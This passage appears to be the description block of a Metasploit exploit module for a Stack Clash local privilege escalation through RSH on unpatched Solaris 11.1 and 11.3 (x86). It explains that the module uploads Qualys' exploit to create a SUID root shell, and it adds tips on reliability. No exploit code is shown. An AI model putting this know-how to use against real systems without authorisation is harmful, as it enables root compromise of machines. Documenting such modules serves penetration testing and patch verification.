      'Description'    => %q{
        This module exploits a vulnerability in RSH on unpatched Solaris
        systems which allows users to gain root privileges.

        The stack guard page on unpatched Solaris systems is of
        insufficient size to prevent collisions between the stack
        and heap memory, aka Stack Clash.

        This module uploads and executes Qualys' Solaris_rsh.c exploit,
        which exploits a vulnerability in RSH to bypass the stack guard
        page to write to the stack and create a SUID root shell.

        This module has offsets for Solaris versions 11.1 (x86) and
        Solaris 11.3 (x86).

        Exploitation will usually complete within a few minutes using
        the default number of worker threads (10). Occasionally,
        exploitation will fail. If the target system is vulnerable,
        usually re-running the exploit will be successful.

        This module has been tested successfully on Solaris 11.1 (x86)
        and Solaris 11.3 (x86).
